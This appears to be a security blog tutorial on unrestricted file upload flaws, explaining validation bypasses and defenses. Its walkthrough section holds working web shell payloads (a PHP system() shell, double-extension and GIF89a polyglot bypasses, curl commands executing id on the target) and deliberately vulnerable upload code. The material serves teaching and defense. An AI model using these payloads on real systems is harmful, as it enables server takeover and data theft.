Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Unrestricted file upload is the vulnerability class in which a web application accepts a file from a user and stores or processes it in a way that lets an attacker turn “upload a file” into “execute arbitrary code on the server.” Almost every application accepts some kind of upload — avatars, documents, CSV imports — and each one is a place where attacker-controlled bytes cross the trust boundary onto the server’s filesystem. When validation of what is uploaded, where it is stored, and how it is later served is insufficient, the attacker’s file becomes a web shell: a small script that, once reachable over HTTP, gives the attacker an interactive command-execution interface on the server.
The impact of a working web shell is about as bad as web application impact gets — it is functionally equivalent to remote code execution, and from there an attacker pivots to reading source code and secrets, dumping the database, or pivoting into the internal network. Upload vulnerabilities remain common precisely because “is this upload safe” requires getting several independent controls right at once — extension, content-type, magic bytes, storage location, execution permissions — and a single missed control anywhere in that chain is usually enough for a bypass.
Attack Prerequisites
For an upload to become remote code execution, the following generally all need to be true:
- An upload endpoint accepts attacker-controlled content, filename, and/or content-type, whether authenticated or not.
- Uploaded files land in, or under, a web-server-executable directory — the document root or a subdirectory bound to a PHP/CGI handler.
- Filename and/or content validation can be bypassed — extension trickery, MIME-type spoofing, magic-byte polyglots, or upload/validation race conditions.
- The attacker can predict or discover the stored file’s URL — original filename preserved, predictable naming, or a directory-listing/enum path.
How It Works
A file upload handler makes three separate decisions: *is this file allowed* (validation), *where does it get written* (storage), and *how is it later served* (delivery). Each can independently be trusted too much. Validation frequently checks only the client-supplied filename extension or Content-Type header — both attacker-controlled values sent in the same multipart form the attacker is already crafting, not intrinsic properties of the file’s actual content. A request naming its part shell.php with Content-Type: image/jpeg sails through a check that only inspects those two fields, because nothing about it inspects the *bytes* of the file.
Storage location is the second failure point: if uploads are written inside the web root, any file that gets past validation is not just stored — it is immediately servable, and if its extension matches a configured script handler (.php, .asp, .jsp, .phtml), requesting that URL causes the server to *execute* the file rather than return it as static bytes. This is the pivotal moment: a file upload becomes code execution the instant storage location and execution configuration intersect.
Even careful filters get bypassed through parser mismatches. Double extensions (shell.php.jpg) exploit servers where mod_mime processes extensions right-to-left and executes a file as PHP if .php appears anywhere in the name. Case variation (shell.PhP, shell.pHp5) bypasses blacklists checking only an exact lowercase string. Magic-byte polyglots prepend a valid image header (GIF89a) before PHP code, satisfying content-sniffing checks (getimagesize(), exif_imagetype()) while the payload still executes when the file is interpreted as PHP.
Vulnerable Code / Configuration
A classic vulnerable PHP handler that trusts the client-supplied filename/extension and writes directly into the web root:
<?php
// VULNERABLE: incomplete blacklist, no content validation.
$blacklist = ['php', 'php3', 'phtml'];
$filename = basename($_FILES['avatar']['name']); // attacker-controlled
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $blacklist)) {
// BUG: misses .php5, .pht, double extensions like shell.php.jpg,
// and never inspects actual file content.
move_uploaded_file(
$_FILES['avatar']['tmp_name'],
'/var/www/html/uploads/' . $filename // BUG: executable web-root
);
}
PHPPaired with an Apache config that leaves the upload directory executable instead of explicitly hardening it:
<Directory /var/www/html/uploads>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
# missing: php_admin_flag engine off
# missing: <FilesMatch "\.(php|phtml|php[0-9]?)$"> Require all denied </FilesMatch>
</Directory>
APACHEA more subtle bug: relying purely on client-supplied Content-Type for server-side gating (common with multer in Node/Express):
// VULNERABLE: fileFilter only checks the client-supplied mimetype string,
// which the attacker sets in the multipart request and is never verified
// against the actual file bytes.
const upload = multer({
dest: '/var/www/html/uploads/',
fileFilter: (req, file, cb) => cb(null, file.mimetype.startsWith('image/'))
});
JavaScriptWalkthrough / Exploitation
First attempt a direct upload of a minimal PHP web shell to fingerprint what the filter actually checks:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
------X--
HTTPIf rejected on extension, bypass with a double extension or case variant and spoof the content-type to an accepted image MIME type:
------X
Content-Disposition: form-data; name="avatar"; filename="shell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['c']); ?>
------X--
# other bypasses to try: shell.PhP, shell.pht
HTTPIf content is sniffed, prepend a valid GIF header before the PHP payload — the file is a valid tiny GIF *and* valid PHP simultaneously:
GIF89a;
<?php system($_GET['c']); ?>
# GIF89a satisfies getimagesize()/exif_imagetype(); the PHP interpreter
# still executes the <?php ... ?> block when the file is requested.
PHPOnce the file lands in an executable, web-reachable path, request it directly to confirm execution:
curl 'https://target.com/uploads/shell.php.jpg?c=id'
curl 'https://target.com/uploads/shell.php.jpg?c=whoami'
BashBurp Suite’s Intruder is the practical way to fuzz a filter systematically — sweep extension variants, content-type values, and magic-byte prefixes against the same endpoint and diff which combination is accepted.
Note: Some frameworks re-encode or strip metadata from uploaded images (thumbnailing, ImageMagick re-compression), destroying a naive polyglot. In those cases a more productive target is often a different upload path in the same app — CSV/XML import (XXE), or ZIP/archive extraction abused for path traversal (“zip slip”) to write a shell outside the intended directory.
Opsec: A live web shell is a standing, unauthenticated RCE endpoint for anyone else who finds it. Scope shell functionality to what’s needed to prove impact, use a non-guessable filename, and remove the file — confirming removal by re-requesting it — before closing out testing.
Detection and Defense
Reliable defense requires controls at the storage and execution layers, not just filename/content-type filtering:
- Store uploads outside the web root, or on non-executable object storage, served through an application route that streams bytes rather than letting the web server resolve them directly.
- Explicitly disable script execution in the upload directory —
php_admin_flag engine off, or a<FilesMatch>deny rule for script extensions. - Generate a random server-side filename and drop the original extension/name from the storage path entirely.
- Validate content, not headers — real file type via magic-byte checks or image re-encoding, not client-supplied extension/
Content-Type. - Serve user uploads from a separate, cookieless domain so a successful stored-XSS-via-upload cannot reach the main session cookie.
- Enforce size limits and AV/YARA scanning on upload pipelines handling untrusted files at scale.
On the detection side, alert on newly created files with script extensions under web-served paths (file integrity monitoring), and on access logs showing a POST to an upload endpoint immediately followed by a GET to the same filename.
Real-World Impact
Unrestricted file upload consistently ranks among the highest-severity findings in web application penetration tests because it converts directly into remote code execution with no further chaining required, and it is a long-standing entry in OWASP guidance on file upload security. Web shells dropped through upload flaws are a common initial-access technique against internet-facing CMS and file-sharing platforms, frequently followed by credential harvesting from config files and lateral movement.
Conclusion
File upload flaws are dangerous because they collapse three separate trust decisions — what is this file, where does it live, will it run — into a single request the attacker fully controls. Extension and content-type checks alone are not validation; the durable fix is storing uploads outside executable paths, verifying real file content, and denying script execution on anything the application did not itself generate.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments